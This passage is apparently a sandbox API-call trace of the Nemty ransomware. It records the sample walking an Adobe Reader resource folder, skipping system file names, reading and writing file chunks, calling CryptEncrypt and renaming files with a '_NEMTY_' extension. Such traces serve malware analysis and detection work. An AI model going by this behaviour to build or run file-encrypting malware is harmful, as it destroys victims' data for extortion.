lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.495] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0209.536] CloseHandle (hObject=0xffffffff) returned 0 [0209.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0209.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0209.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0209.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0209.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0209.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0209.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.537] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-v._nemty_kgobjgd_")) returned 0 [0209.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0209.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0209.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0209.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0209.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0209.537] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e597, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-UCS2", cAlternateFileName="KSCMS-~4")) returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2=".") returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="..") returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="...") returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="windows") returned -1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="rsa") returned -1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="NTDETECT.COM") returned -1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="ntldr") returned -1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="MSDOS.SYS") returned -1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="IO.SYS") returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="boot.ini") returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="boot.ini") returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="AUTOEXEC.BAT") returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="ntuser.dat") returned -1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="desktop.ini") returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="CONFIG.SYS") returned 1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="RECYCLER") returned -1 [0209.537] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="BOOTSECT.BAK") returned 1 [0209.538] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="bootmgr") returned 1 [0209.538] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="programdata") returned -1 [0209.538] lstrcmpiW (lpString1="KSCms-UHC-UCS2", lpString2="appdata") returned 1 [0209.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-UCS2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-UCS2", lpUsedDefaultChar=0x0) returned 14 [0209.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-UCS2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-UCS2", lpUsedDefaultChar=0x0) returned 14 [0209.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-UCS2", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-UCS2", lpUsedDefaultChar=0x0) returned 14 [0209.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-UCS2", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-UCS2", lpUsedDefaultChar=0x0) returned 14 [0209.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0209.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0209.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0209.538] Sleep (dwMilliseconds=0x5) [0209.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x308a69b0, dwHighDateTime=0x1d561e8)) [0209.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x308a69b0, dwHighDateTime=0x1d561e8)) [0209.553] GetLastError () returned 0x5 [0209.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0209.553] GetLastError () returned 0x5 [0209.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0209.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.553] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0209.553] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0209.553] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0209.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0209.553] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="hTHz8iCsTMskajJD0Bf/6xlXMIF2rHl9z0TgluopDSSqeFEMaWL7wGYtn/fsRHJv\r\nJ1AgT9WP3CGvi4fKhxssYIVXprVeCmLo+bGkq28Avp0SHcZw6kisruRj6lWEovqu\r\nlRVJBOI3/NoJ50G/eONrqBPQ6WnVQf/qonPoQvYfps2HbwimVgJ83EEKnPV3VcM7\r\nprFc9Ifk1ZcqxpZ+mTdm4ZCoUNg+MnpMnyZZ0BN8WSOOpEQsVm5lK+s/EZvB+RpH\r\nnRqqZ+Cz5t34li7Ybpsk+LOdqmCnIpJTqTdzHrvDI3r0zd9lDM2bl+b7QWGP/eWd\r\nB2ubwpNLAGiLUyAOI0IAgg==\r\n", pcchString=0x653e91c) returned 1 [0209.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0209.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0209.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0209.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0209.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.561] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0209.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0209.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.580] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.590] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.599] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, 